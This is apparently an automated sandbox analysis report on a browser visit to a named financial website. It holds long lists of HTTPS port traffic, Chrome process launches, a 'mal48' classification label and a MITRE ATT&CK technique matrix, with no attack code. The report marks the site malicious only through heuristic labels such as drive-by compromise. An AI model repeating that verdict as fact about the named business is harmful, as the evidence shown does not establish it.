Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50185
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50187
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50189
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50147
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50151
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50152
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50156
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50158
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50171
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50172
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443

Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49812 version: TLS 1.2

Source: classification engine

Classification label: mal48.win@29/506@116/38

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2028,i,5349720418153093144,9985797983344424952,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.bfjfinancial.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6036 --field-trial-handle=2028,i,5349720418153093144,9985797983344424952,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6140 --field-trial-handle=2028,i,5349720418153093144,9985797983344424952,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2028,i,5349720418153093144,9985797983344424952,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6036 --field-trial-handle=2028,i,5349720418153093144,9985797983344424952,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6140 --field-trial-handle=2028,i,5349720418153093144,9985797983344424952,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
